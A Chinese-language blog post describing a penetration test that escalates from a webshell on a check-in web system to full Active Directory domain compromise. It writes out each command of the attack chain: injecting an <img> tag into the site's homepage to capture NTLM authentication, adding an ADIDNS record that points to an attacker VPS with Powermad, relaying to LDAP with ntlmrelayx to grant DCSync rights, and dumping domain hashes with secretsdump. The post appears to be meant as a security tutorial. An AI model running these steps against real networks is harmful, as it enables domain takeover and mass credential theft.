[域渗透-内网渗透] 从 web 到域控,你未曾设想的攻击链

0x00 前言

本文源自一次真实的渗透过程记录,介绍中继攻击在域内的另一种利用场景,希望能对各位看客有所帮助。

0x01 背景

拿到目标后对目标进行资产收集和常规渗透,目标体积较大,有数个 VPN 接入口,有自己独立的邮件服务器,根据邮服泄露的信息,内网存在域。目标安全性较好,没有历史漏洞可以直接获取到目标相关资产的权限。

经过多天打点后,终于找到目标线上的一个自研系统存在漏洞,通过一系列操作获取到该目标的网站的 webshell,环境为 linux ,外网云上环境。权限为 www-data

该点为目标的打卡和周报系统,分析日志可以发现有一部分用户是从目标总部过来的,一部分用户是从各地IP播过来的,可能是因为疫情原因吧,有些员工在家远程办公。收集数据库中所有的用户名已经可以解密的密码,尝试去登录 VPN,运气不错,共拿到两组 VPN 账号,成功拨入内网。根据 VPN
的下发路由和网段探测慢慢摸到了目标内网中一台域控的位置,VPN 用的是域账号进行认证,所以我们可以直接链接 LDAP 去查询域内信息。

获取的两组账号均为边缘客服人员,目标域内有多个域控,所有的机器版本也比较新,个人机器均为 WIN10,服务器也是 20162019 这样较新的版本,OU 划的也比较仔细,拉出来看了看组策略的数量和部分配置,可以看出管理员还是很会玩的。

没有直接可以利用的点,这两组账号的邮箱内的邮件也没有敏感的信息。继续翻找,OU 中 MIS(网络管理员)组的成员均为域管,有部分机器是用户自行拉入域的。

整理一下我们手上的东西:一个外网的打卡系统两组客服域账号一个VPN接入点

到此我们已经具备了拿下域控的所有条件了,看到这里,各位可以停下里想一想如果是你,你该怎么进行攻击。

0x02 原理与构造

ntlm relay is dead long live ntlm relay

我们可以在打卡系统中插入我们的链接,例如 <img src="http://192.168.1.1/img.png" />。有用户来访问打卡系统的时候就会来对我们的网站进行请求,此时我们返回 401,则用户浏览器会默认对我们进行 NTLM 认证,因为来源是 HTTP ,我们可以将 HTTP 中继到 LDAP,来完成攻击连,也就是说,域管理员用户一旦访问打卡系统,我们就可以直接接管域控。

但是,默认情况下浏览器不会向外网发送凭证信息,你需要向域内添加一条DNS记录指向你用于中继的VPS,而默认情况下,任何认证用户(Authenticated Users),都用 Create all child object 的权限。换句话说,任何一个域用户默认情况下都可以添加 DNS 到 ADIDNS 区域。

到此我们的攻击路线就清晰了:

  1. 用域用户向域中添加一条 DNS 记录 unicodesec 指向公网 vps
  2. 在公网的打开系统首页 添加 <img src="http://unicodesec/img.png" />
  3. 在 公网 vps 上挂好 VPN 做好中继回域控的线路
  4. 等待用户来进行访问,当域管用户来访问时,则我们可以通过修改DACL,赋予 DCSYNC 权限 等方式接管整个域的权限

0x03 攻击

  • 环境说明

为了避免不必要的麻烦,演示过程由测试环境代替

IP HOSTNAME NOTE
192.168.136.138 DC 域控,Winodws2016
192.168.136.140 WIN域机器 WIN10,域管理员登录机器
1.1.1.1 外网云上环境 外网的打卡系统-ubuntu18.04
2.2.2.2 公网VPS 攻击者机器
USERNAME NOTE
Administrator 域管理员
win10 普通域用户,现有特权
  • 添加 认证图片

首先用我们拿到的 webshell 向系统首页添加以下代码,这里我们就用随便起一个 http 服务器演示。

<img src="http://unicodesec/1.png" />

  • 添加 DNS 记录

这里我们直接使用 Powermad 在域外向域中添加一条指向恶意服务器的 A 记录

使用VPN登录到内网中(客服域账号),全程是在域外操作的也就是本地也就是我们根本不需要域机器,这里我们用 frp 代理模拟拨入VPN

使用runas进行模拟Token

runas /netonly /user:shell\admin123 powershell

Powermad 添加一条A 记录 DNS 指向我们的公网 VPS 地址。(https://github.com/Kevin-Robertson/Powermad)

cd C:\Users\demi\Desktop\Powermad-master
Import-Module .\Invoke-DNSUpdate.ps1
Invoke-DNSupdate -DNSType A -DNSName unicodesec -DNSData 70.34.197.162 -Verbos

可以看到回显,我们成功向域控添加了一条 DNS ,指向我们公网的 VPS。

  • ntlmrelay

VPS 上开启 ntlmrelayx.py 进行监听,命令如下

python3 ntlmrelayx.py -t ldap://192.168.136.138 --escalate-user=win10

等待域管理员打开的外网打卡系统即可, 就通过 DCSYNC 等方式接管整个域的权限。一旦访问就会被中继回 LDAP 并对我们指定的用户赋予特权。

可以看到 win10 用户 被赋予 DCSYNC 的权限。

获取权限后使用impacket secretsdump.py 就可以导出本地 HASH 和域 HASH。

python3 secretsdump.py shell/win10:admin\@123@192.168.136.138

完整演示GIF如下:

至此,完成整个渗透过程。

0x04 后记

如果对你有用话,不来个转发 点赞 再看支持一下吗?

宽字节内网线上班

posted @ 2021-09-28 15:20  一条狗的开发之路  阅读(1250)  评论(0编辑  收藏  举报